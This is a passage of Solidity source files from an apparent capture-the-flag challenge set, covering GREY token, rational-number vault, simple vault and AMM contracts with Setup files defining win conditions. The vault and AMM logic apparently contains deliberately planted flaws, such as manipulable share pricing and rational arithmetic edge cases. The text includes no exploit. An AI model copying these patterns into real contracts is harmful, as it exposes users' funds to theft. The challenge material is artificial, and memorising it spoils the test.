keccak256( 169 | abi.encode( 170 | keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), 171 | keccak256(bytes(name)), 172 | keccak256("1"), 173 | block.chainid, 174 | address(this) 175 | ) 176 | ); 177 | } 178 | 179 | /*////////////////////////////////////////////////////////////// 180 | INTERNAL MINT/BURN LOGIC 181 | //////////////////////////////////////////////////////////////*/ 182 | 183 | function _mint(address to, uint256 amount) internal virtual { 184 | totalSupply += amount; 185 | 186 | // Cannot overflow because the sum of all user 187 | // balances can't exceed the max uint256 value. 188 | unchecked { 189 | balanceOf[to] += amount; 190 | } 191 | 192 | emit Transfer(address(0), to, amount); 193 | } 194 | 195 | function _burn(address from, uint256 amount) internal virtual { 196 | balanceOf[from] -= amount; 197 | 198 | // Cannot underflow because a user's balance 199 | // will never be larger than the total supply. 200 | unchecked { 201 | totalSupply -= amount; 202 | } 203 | 204 | emit Transfer(from, address(0), amount); 205 | } 206 | } 207 | -------------------------------------------------------------------------------- /src/meta-staking/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/meta-staking/lib/RelayReceiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | abstract contract RelayReceiver { 5 | address public immutable relayer; 6 | 7 | constructor(address _relayer) { 8 | relayer = _relayer; 9 | } 10 | 11 | function _msgSender() internal view returns (address) { 12 | if (msg.sender == relayer && msg.data.length >= 20) { 13 | return address(bytes20(msg.data[msg.data.length - 20:])); 14 | } else { 15 | return msg.sender; 16 | } 17 | } 18 | 19 | function _msgData() internal view returns (bytes calldata) { 20 | if (msg.sender == relayer && msg.data.length >= 20) { 21 | return msg.data[:msg.data.length - 20]; 22 | } else { 23 | return msg.data; 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /src/rational/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import {GREY} from "./lib/GREY.sol"; 5 | import {RationalVault} from "./Vault.sol"; 6 | 7 | contract Setup { 8 | bool public claimed; 9 | 10 | // GREY token 11 | GREY public grey; 12 | 13 | // Challenge contracts 14 | RationalVault public vault; 15 | 16 | constructor() { 17 | // Deploy the GREY token contract 18 | grey = new GREY(); 19 | 20 | // Deploy challenge contracts 21 | vault = new RationalVault(address(grey)); 22 | 23 | // Mint 6000 GREY for setup 24 | grey.mint(address(this), 6000e18); 25 | 26 | // Deposit 5000 GREY into the vault 27 | grey.approve(address(vault), 5000e18); 28 | vault.deposit(5000e18); 29 | } 30 | 31 | // Note: Call this function to claim 1000 GREY for the challenge 32 | function claim() external { 33 | require(!claimed, "already claimed"); 34 | claimed = true; 35 | 36 | grey.mint(msg.sender, 1000e18); 37 | } 38 | 39 | // Note: Challenge is solved when you have 6000 GREY 40 | function isSolved() external view returns (bool) { 41 | return grey.balanceOf(msg.sender) >= 6000e18; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/rational/Vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.8.20; 3 | 4 | import {IERC20} from "./lib/IERC20.sol"; 5 | import {Rational, RationalLib} from "./lib/Rational.sol"; 6 | 7 | contract RationalVault { 8 | IERC20 public asset; 9 | 10 | mapping(address => Rational) internal sharesOf; 11 | Rational internal totalShares; 12 | 13 | // ======================================== CONSTRUCTOR ======================================== 14 | 15 | constructor(address _asset) { 16 | asset = IERC20(_asset); 17 | } 18 | 19 | // ======================================== MUTATIVE FUNCTIONS ======================================== 20 | 21 | function deposit(uint128 amount) external { 22 | Rational _shares = convertToShares(amount); 23 | 24 | sharesOf[msg.sender] = sharesOf[msg.sender] + _shares; 25 | totalShares = totalShares + _shares; 26 | 27 | asset.transferFrom(msg.sender, address(this), amount); 28 | } 29 | 30 | function mint(uint128 shares) external { 31 | Rational _shares = RationalLib.fromUint128(shares); 32 | uint256 amount = convertToAssets(_shares); 33 | 34 | sharesOf[msg.sender] = sharesOf[msg.sender] + _shares; 35 | totalShares = totalShares + _shares; 36 | 37 | asset.transferFrom(msg.sender, address(this), amount); 38 | } 39 | 40 | function withdraw(uint128 amount) external { 41 | Rational _shares = convertToShares(amount); 42 | 43 | sharesOf[msg.sender] = sharesOf[msg.sender] - _shares; 44 | totalShares = totalShares - _shares; 45 | 46 | asset.transfer(msg.sender, amount); 47 | } 48 | 49 | function redeem(uint128 shares) external { 50 | Rational _shares = RationalLib.fromUint128(shares); 51 | uint256 amount = convertToAssets(_shares); 52 | 53 | sharesOf[msg.sender] = sharesOf[msg.sender] - _shares; 54 | totalShares = totalShares - _shares; 55 | 56 | asset.transfer(msg.sender, amount); 57 | } 58 | 59 | // ======================================== VIEW FUNCTIONS ======================================== 60 | 61 | function totalAssets() public view returns (uint128) { 62 | return uint128(asset.balanceOf(address(this))); 63 | } 64 | 65 | function convertToShares(uint128 assets) public view returns (Rational) { 66 | if (totalShares == RationalLib.ZERO) return RationalLib.fromUint128(assets); 67 | 68 | Rational _assets = RationalLib.fromUint128(assets); 69 | Rational _totalAssets = RationalLib.fromUint128(totalAssets()); 70 | Rational _shares = _assets / _totalAssets * totalShares; 71 | 72 | return _shares; 73 | } 74 | 75 | function convertToAssets(Rational shares) public view returns (uint128) { 76 | if (totalShares == RationalLib.ZERO) return RationalLib.toUint128(shares); 77 | 78 | Rational _totalAssets = RationalLib.fromUint128(totalAssets()); 79 | Rational _assets = shares / totalShares * _totalAssets; 80 | 81 | return RationalLib.toUint128(_assets); 82 | } 83 | 84 | function totalSupply() external view returns (uint256) { 85 | return RationalLib.toUint128(totalShares); 86 | } 87 | 88 | function balanceOf(address account) external view returns (uint256) { 89 | return RationalLib.toUint128(sharesOf[account]); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/rational/lib/ERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. 5 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) 6 | /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) 7 | /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. 8 | abstract contract ERC20 { 9 | /*////////////////////////////////////////////////////////////// 10 | EVENTS 11 | //////////////////////////////////////////////////////////////*/ 12 | 13 | event Transfer(address indexed from, address indexed to, uint256 amount); 14 | 15 | event Approval(address indexed owner, address indexed spender, uint256 amount); 16 | 17 | /*////////////////////////////////////////////////////////////// 18 | METADATA STORAGE 19 | //////////////////////////////////////////////////////////////*/ 20 | 21 | string public name; 22 | 23 | string public symbol; 24 | 25 | uint8 public immutable decimals; 26 | 27 | /*////////////////////////////////////////////////////////////// 28 | ERC20 STORAGE 29 | //////////////////////////////////////////////////////////////*/ 30 | 31 | uint256 public totalSupply; 32 | 33 | mapping(address => uint256) public balanceOf; 34 | 35 | mapping(address => mapping(address => uint256)) public allowance; 36 | 37 | /*////////////////////////////////////////////////////////////// 38 | EIP-2612 STORAGE 39 | //////////////////////////////////////////////////////////////*/ 40 | 41 | uint256 internal immutable INITIAL_CHAIN_ID; 42 | 43 | bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; 44 | 45 | mapping(address => uint256) public nonces; 46 | 47 | /*////////////////////////////////////////////////////////////// 48 | CONSTRUCTOR 49 | //////////////////////////////////////////////////////////////*/ 50 | 51 | constructor( 52 | string memory _name, 53 | string memory _symbol, 54 | uint8 _decimals 55 | ) { 56 | name = _name; 57 | symbol = _symbol; 58 | decimals = _decimals; 59 | 60 | INITIAL_CHAIN_ID = block.chainid; 61 | INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); 62 | } 63 | 64 | /*////////////////////////////////////////////////////////////// 65 | ERC20 LOGIC 66 | //////////////////////////////////////////////////////////////*/ 67 | 68 | function approve(address spender, uint256 amount) public virtual returns (bool) { 69 | allowance[msg.sender][spender] = amount; 70 | 71 | emit Approval(msg.sender, spender, amount); 72 | 73 | return true; 74 | } 75 | 76 | function transfer(address to, uint256 amount) public virtual returns (bool) { 77 | balanceOf[msg.sender] -= amount; 78 | 79 | // Cannot overflow because the sum of all user 80 | // balances can't exceed the max uint256 value. 81 | unchecked { 82 | balanceOf[to] += amount; 83 | } 84 | 85 | emit Transfer(msg.sender, to, amount); 86 | 87 | return true; 88 | } 89 | 90 | function transferFrom( 91 | address from, 92 | address to, 93 | uint256 amount 94 | ) public virtual returns (bool) { 95 | uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. 96 | 97 | if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; 98 | 99 | balanceOf[from] -= amount; 100 | 101 | // Cannot overflow because the sum of all user 102 | // balances can't exceed the max uint256 value. 103 | unchecked { 104 | balanceOf[to] += amount; 105 | } 106 | 107 | emit Transfer(from, to, amount); 108 | 109 | return true; 110 | } 111 | 112 | /*////////////////////////////////////////////////////////////// 113 | EIP-2612 LOGIC 114 | //////////////////////////////////////////////////////////////*/ 115 | 116 | function permit( 117 | address owner, 118 | address spender, 119 | uint256 value, 120 | uint256 deadline, 121 | uint8 v, 122 | bytes32 r, 123 | bytes32 s 124 | ) public virtual { 125 | require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); 126 | 127 | // Unchecked because the only math done is incrementing 128 | // the owner's nonce which cannot realistically overflow. 129 | unchecked { 130 | address recoveredAddress = ecrecover( 131 | keccak256( 132 | abi.encodePacked( 133 | "\x19\x01", 134 | DOMAIN_SEPARATOR(), 135 | keccak256( 136 | abi.encode( 137 | keccak256( 138 | "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" 139 | ), 140 | owner, 141 | spender, 142 | value, 143 | nonces[owner]++, 144 | deadline 145 | ) 146 | ) 147 | ) 148 | ), 149 | v, 150 | r, 151 | s 152 | ); 153 | 154 | require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); 155 | 156 | allowance[recoveredAddress][spender] = value; 157 | } 158 | 159 | emit Approval(owner, spender, value); 160 | } 161 | 162 | function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { 163 | return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); 164 | } 165 | 166 | function computeDomainSeparator() internal view virtual returns (bytes32) { 167 | return 168 | keccak256( 169 | abi.encode( 170 | keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), 171 | keccak256(bytes(name)), 172 | keccak256("1"), 173 | block.chainid, 174 | address(this) 175 | ) 176 | ); 177 | } 178 | 179 | /*////////////////////////////////////////////////////////////// 180 | INTERNAL MINT/BURN LOGIC 181 | //////////////////////////////////////////////////////////////*/ 182 | 183 | function _mint(address to, uint256 amount) internal virtual { 184 | totalSupply += amount; 185 | 186 | // Cannot overflow because the sum of all user 187 | // balances can't exceed the max uint256 value. 188 | unchecked { 189 | balanceOf[to] += amount; 190 | } 191 | 192 | emit Transfer(address(0), to, amount); 193 | } 194 | 195 | function _burn(address from, uint256 amount) internal virtual { 196 | balanceOf[from] -= amount; 197 | 198 | // Cannot underflow because a user's balance 199 | // will never be larger than the total supply. 200 | unchecked { 201 | totalSupply -= amount; 202 | } 203 | 204 | emit Transfer(from, address(0), amount); 205 | } 206 | } 207 | -------------------------------------------------------------------------------- /src/rational/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.20; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/rational/lib/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity >=0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC-20 standard as defined in the ERC. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the value of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | /** 30 | * @dev Returns the value of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves a `value` amount of tokens from the caller's account to `to`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address to, uint256 value) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets a `value` amount of tokens as the allowance of `spender` over the 54 | * caller's tokens. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 59 | * that someone may use both the old and the new allowance by unfortunate 60 | * transaction ordering. One possible solution to mitigate this race 61 | * condition is to first reduce the spender's allowance to 0 and set the 62 | * desired value afterwards: 63 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 64 | * 65 | * Emits an {Approval} event. 66 | */ 67 | function approve(address spender, uint256 value) external returns (bool); 68 | 69 | /** 70 | * @dev Moves a `value` amount of tokens from `from` to `to` using the 71 | * allowance mechanism. `value` is then deducted from the caller's 72 | * allowance. 73 | * 74 | * Returns a boolean value indicating whether the operation succeeded. 75 | * 76 | * Emits a {Transfer} event. 77 | */ 78 | function transferFrom(address from, address to, uint256 value) external returns (bool); 79 | } -------------------------------------------------------------------------------- /src/rational/lib/Rational.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.20; 3 | 4 | // Upper 128 bits is the numerator, lower 128 bits is the denominator 5 | type Rational is uint256; 6 | 7 | using {add as +, sub as -, mul as *, div as /, eq as ==, neq as !=} for Rational global; 8 | 9 | // ======================================== CONVERSIONS ======================================== 10 | 11 | library RationalLib { 12 | Rational constant ZERO = Rational.wrap(0); 13 | 14 | function fromUint128(uint128 x) internal pure returns (Rational) { 15 | return toRational(x, 1); 16 | } 17 | 18 | function toUint128(Rational x) internal pure returns (uint128) { 19 | (uint256 numerator, uint256 denominator) = fromRational(x); 20 | return numerator == 0 ? 0 : uint128(numerator / denominator); 21 | } 22 | } 23 | 24 | // ======================================== OPERATIONS ======================================== 25 | 26 | function add(Rational x, Rational y) pure returns (Rational) { 27 | (uint256 xNumerator, uint256 xDenominator) = fromRational(x); 28 | (uint256 yNumerator, uint256 yDenominator) = fromRational(y); 29 | 30 | if (xNumerator == 0) return y; 31 | if (yNumerator == 0) return x; 32 | 33 | // (a / b) + (c / d) = (ad + cb) / bd 34 | uint256 numerator = xNumerator * yDenominator + yNumerator * xDenominator; 35 | uint256 denominator = xDenominator * yDenominator; 36 | 37 | return toRational(numerator, denominator); 38 | } 39 | 40 | function sub(Rational x, Rational y) pure returns (Rational) { 41 | (uint256 xNumerator, uint256 xDenominator) = fromRational(x); 42 | (uint256 yNumerator, uint256 yDenominator) = fromRational(y); 43 | 44 | if (yNumerator != 0) require(xNumerator != 0, "Underflow"); 45 | 46 | // (a / b) - (c / d) = (ad - cb) / bd 47 | // a / b >= c / d implies ad >= cb, so the subtraction will never underflow when x >= y 48 | uint256 numerator = xNumerator * yDenominator - yNumerator * xDenominator; 49 | uint256 denominator = xDenominator * yDenominator; 50 | 51 | return toRational(numerator, denominator); 52 | } 53 | 54 | function mul(Rational x, Rational y) pure returns (Rational) { 55 | (uint256 xNumerator, uint256 xDenominator) = fromRational(x); 56 | (uint256 yNumerator, uint256 yDenominator) = fromRational(y); 57 | 58 | if (xNumerator == 0 || yNumerator == 0) return RationalLib.ZERO; 59 | 60 | // (a / b) * (c / d) = ac / bd 61 | uint256 numerator = xNumerator * yNumerator; 62 | uint256 denominator = xDenominator * yDenominator; 63 | 64 | return toRational(numerator, denominator); 65 | } 66 | 67 | function div(Rational x, Rational y) pure returns (Rational) { 68 | (uint256 xNumerator, uint256 xDenominator) = fromRational(x); 69 | (uint256 yNumerator, uint256 yDenominator) = fromRational(y); 70 | 71 | if (xNumerator == 0) return RationalLib.ZERO; 72 | require(yNumerator != 0, "Division by zero"); 73 | 74 | // (a / b) / (c / d) = ad / bc 75 | uint256 numerator = xNumerator * yDenominator; 76 | uint256 denominator = xDenominator * yNumerator; 77 | 78 | return toRational(numerator, denominator); 79 | } 80 | 81 | function eq(Rational x, Rational y) pure returns (bool) { 82 | (uint256 xNumerator,) = fromRational(x); 83 | (uint256 yNumerator,) = fromRational(y); 84 | if (xNumerator == 0 && yNumerator == 0) return true; 85 | 86 | return Rational.unwrap(x) == Rational.unwrap(y); 87 | } 88 | 89 | function neq(Rational x, Rational y) pure returns (bool) { 90 | return !eq(x, y); 91 | } 92 | 93 | // ======================================== HELPERS ======================================== 94 | 95 | function fromRational(Rational v) pure returns (uint256 numerator, uint256 denominator) { 96 | numerator = Rational.unwrap(v) >> 128; 97 | denominator = Rational.unwrap(v) & type(uint128).max; 98 | } 99 | 100 | function toRational(uint256 numerator, uint256 denominator) pure returns (Rational) { 101 | if (numerator == 0) return RationalLib.ZERO; 102 | 103 | uint256 d = gcd(numerator, denominator); 104 | numerator /= d; 105 | denominator /= d; 106 | 107 | require(numerator <= type(uint128).max && denominator <= type(uint128).max, "Overflow"); 108 | 109 | return Rational.wrap(numerator << 128 | denominator); 110 | } 111 | 112 | function gcd(uint256 x, uint256 y) pure returns (uint256) { 113 | while (y != 0) { 114 | uint256 t = y; 115 | y = x % y; 116 | x = t; 117 | } 118 | return x; 119 | } 120 | -------------------------------------------------------------------------------- /src/simple-amm-vault/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import { GREY } from "./lib/GREY.sol"; 5 | import { SimpleVault } from "./SimpleVault.sol"; 6 | import { SimpleAMM } from "./SimpleAMM.sol"; 7 | 8 | contract Setup { 9 | bool public claimed; 10 | 11 | // GREY token 12 | GREY public grey; 13 | 14 | // Challenge contracts 15 | SimpleVault public vault; 16 | SimpleAMM public amm; 17 | 18 | constructor() { 19 | // Deploy the GREY token contract 20 | grey = new GREY(); 21 | 22 | // Deploy challenge contracts 23 | vault = new SimpleVault(address(grey)); 24 | amm = new SimpleAMM(address(vault)); 25 | 26 | // Mint 4000 GREY for setup 27 | grey.mint(address(this), 4000e18); 28 | 29 | /* 30 | SimpleVault setup: 31 | - Deposit 1000 GREY into the vault 32 | - Distribute 1000 GREY as rewards 33 | */ 34 | grey.approve(address(vault), 2000e18); 35 | vault.deposit(1000e18); 36 | vault.distributeRewards(1000e18); 37 | 38 | /* 39 | SimpleAMM setup: 40 | - Allocate 1000 SV and 2000 GREY into the pool 41 | */ 42 | vault.approve(address(amm), 1000e18); 43 | grey.approve(address(amm), 2000e18); 44 | amm.allocate(1000e18, 2000e18); 45 | } 46 | 47 | // Note: Call this function to claim 1000 GREY for the challenge 48 | function claim() external { 49 | require(!claimed, "already claimed"); 50 | claimed = true; 51 | 52 | grey.mint(msg.sender, 1000e18); 53 | } 54 | 55 | // Note: Challenge is solved when you have at least 3000 GREY 56 | function isSolved() external view returns (bool) { 57 | return grey.balanceOf(msg.sender) >= 3000e18; 58 | } 59 | } -------------------------------------------------------------------------------- /src/simple-amm-vault/SimpleAMM.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { IERC20 } from "./lib/IERC20.sol"; 5 | import { ERC20 } from "./lib/ERC20.sol"; 6 | import { FixedPointMathLib } from "./lib/FixedPointMathLib.sol"; 7 | import { ISimpleCallbacks } from "./interfaces/ISimpleCallbacks.sol"; 8 | import { SimpleVault } from "./SimpleVault.sol"; 9 | 10 | /// @title SimpleAMM 11 | /// @notice The SimpleAMM contract. 12 | contract SimpleAMM is ERC20 { 13 | using FixedPointMathLib for uint256; 14 | 15 | SimpleVault public immutable VAULT; 16 | 17 | IERC20 public immutable tokenX; 18 | IERC20 public immutable tokenY; 19 | 20 | uint256 public reserveX; 21 | uint256 public reserveY; 22 | 23 | uint256 public k; 24 | 25 | /** 26 | * @param _vault The vault address. 27 | */ 28 | constructor(address _vault) ERC20("SimpleAMM Token", "SA", 18) { 29 | VAULT = SimpleVault(_vault); 30 | tokenX = IERC20(_vault); 31 | tokenY = VAULT.GREY(); 32 | } 33 | 34 | // ========================================= MODIFIERS ======================================== 35 | 36 | /** 37 | * @notice Enforces the x * y = k invariant 38 | */ 39 | modifier invariant { 40 | _; 41 | require(computeK(reserveX, reserveY) >= k, "K"); 42 | } 43 | 44 | // ========================================= MUTATIVE FUNCTIONS ======================================== 45 | 46 | /** 47 | * @notice Deposit tokenX and tokenY into the pool for LP tokens. 48 | * 49 | * @param amountXIn The amount of tokenX to deposit. 50 | * @param amountYIn The amount of tokenY to deposit. 51 | */ 52 | function allocate( 53 | uint256 amountXIn, 54 | uint256 amountYIn 55 | ) external invariant returns (uint256 shares) { 56 | uint256 deltaK = computeK(amountXIn, amountYIn); 57 | shares = k == 0 ? deltaK : deltaK.mulDivDown(totalSupply, k); 58 | 59 | reserveX += amountXIn; 60 | reserveY += amountYIn; 61 | k += deltaK; 62 | 63 | _mint(msg.sender, shares); 64 | 65 | tokenX.transferFrom(msg.sender, address(this), amountXIn); 66 | tokenY.transferFrom(msg.sender, address(this), amountYIn); 67 | } 68 | 69 | /** 70 | * @notice Withdraw tokenX and tokenY from the pool by burning LP tokens. 71 | * 72 | * @param amountXOut The amount of tokenX to withdraw. 73 | * @param amountYOut The amount of tokenY to withdraw. 74 | */ 75 | function deallocate( 76 | uint256 amountXOut, 77 | uint256 amountYOut 78 | ) external invariant returns (uint256 shares) { 79 | uint256 deltaK = computeK(amountXOut, amountYOut); 80 | shares = deltaK.mulDivUp(totalSupply, k); 81 | 82 | reserveX -= amountXOut; 83 | reserveY -= amountYOut; 84 | k -= deltaK; 85 | 86 | _burn(msg.sender, shares); 87 | 88 | tokenX.transfer(msg.sender, amountXOut); 89 | tokenY.transfer(msg.sender, amountYOut); 90 | } 91 | 92 | /** 93 | * @notice Swap either token for the other. 94 | * 95 | * @param swapXForY Whether the swap is tokenX to tokenY, or vice versa. 96 | * @param amountIn The amount of tokens to swap in. 97 | * @param amountOut The amount of tokens to swap out. 98 | */ 99 | function swap(bool swapXForY, uint256 amountIn, uint256 amountOut) external invariant { 100 | IERC20 tokenIn; 101 | IERC20 tokenOut; 102 | 103 | if (swapXForY) { 104 | reserveX += amountIn; 105 | reserveY -= amountOut; 106 | 107 | (tokenIn, tokenOut) = (tokenX, tokenY); 108 | } else { 109 | reserveX -= amountOut; 110 | reserveY += amountIn; 111 | 112 | (tokenIn, tokenOut) = (tokenY, tokenX); 113 | } 114 | 115 | tokenIn.transferFrom(msg.sender, address(this), amountIn); 116 | tokenOut.transfer(msg.sender, amountOut); 117 | } 118 | 119 | /** 120 | * @notice Flash loan either token from the pool. 121 | * 122 | * @param isTokenX Whether the token to loan is tokenX or tokenY. 123 | * @param amount The amount of tokens to loan. 124 | * @param data Arbitrary data passed to the callback. 125 | */ 126 | function flashLoan( 127 | bool isTokenX, 128 | uint256 amount, 129 | bytes calldata data 130 | ) external invariant { 131 | IERC20 token = isTokenX ? tokenX : tokenY; 132 | token.transfer(msg.sender, amount); 133 | 134 | ISimpleCallbacks(msg.sender).onFlashLoan(amount, data); 135 | 136 | token.transferFrom(msg.sender, address(this), amount); 137 | } 138 | 139 | // ========================================= HELPERS ======================================== 140 | 141 | function computeK(uint256 amountX, uint256 amountY) internal view returns (uint256) { 142 | uint256 price = VAULT.sharePrice(); 143 | return amountX + amountY.divWadDown(price); 144 | } 145 | } -------------------------------------------------------------------------------- /src/simple-amm-vault/SimpleVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { IERC20 } from "./lib/IERC20.sol"; 5 | import { ERC20 } from "./lib/ERC20.sol"; 6 | import { FixedPointMathLib } from "./lib/FixedPointMathLib.sol"; 7 | 8 | /// @title SimpleVault 9 | /// @notice The SimpleVault contract. 10 | contract SimpleVault is ERC20 { 11 | using FixedPointMathLib for uint256; 12 | 13 | IERC20 public immutable GREY; 14 | 15 | uint256 public totalAssets; 16 | 17 | /** 18 | * @param _grey The GREY token address. 19 | */ 20 | constructor(address _grey) ERC20("SimpleVault Token", "SV", 18) { 21 | GREY = IERC20(_grey); 22 | } 23 | 24 | // ========================================= MUTATIVE FUNCTIONS ======================================== 25 | 26 | /** 27 | * @notice Stake GREY into the vault. 28 | * 29 | * @param assets The amount of GREY the user wishes to stake. 30 | */ 31 | function deposit(uint256 assets) external returns (uint256 shares) { 32 | shares = toSharesDown(assets); 33 | require(shares != 0, "zero shares"); 34 | 35 | totalAssets += assets; 36 | _mint(msg.sender, shares); 37 | 38 | GREY.transferFrom(msg.sender, address(this), assets); 39 | } 40 | 41 | /** 42 | * @notice Withdraws staked GREY for shares. 43 | * 44 | * @param shares The amount shares the user wishes to unstake. 45 | */ 46 | function withdraw(uint256 shares) external returns (uint256 assets) { 47 | assets = toAssetsDown(shares); 48 | require(assets != 0, "zero assets"); 49 | 50 | totalAssets -= assets; 51 | _burn(msg.sender, shares); 52 | 53 | GREY.transfer(msg.sender, assets); 54 | } 55 | 56 | /** 57 | * @notice Distribute GREY as rewards to stakers. 58 | * 59 | * @param assets The amount of GREY to distribute as rewards. 60 | */ 61 | function distributeRewards(uint256 assets) external { 62 | totalAssets += assets; 63 | GREY.transferFrom(msg.sender, address(this), assets); 64 | } 65 | 66 | // ======================================== VIEW FUNCTIONS ======================================== 67 | 68 | /** 69 | * @notice Get the price of assets per share. 70 | * 71 | * @return The share price. 72 | */ 73 | function sharePrice() external view returns (uint256) { 74 | return totalSupply == 0 ? 1e18 : totalAssets.divWadDown(totalSupply); 75 | } 76 | 77 | // ======================================== HELPERS ======================================== 78 | 79 | function toSharesDown(uint256 assets) internal view returns (uint256) { 80 | if (totalAssets == 0 || totalSupply == 0) { 81 | return assets; 82 | } 83 | return assets.mulDivDown(totalSupply, 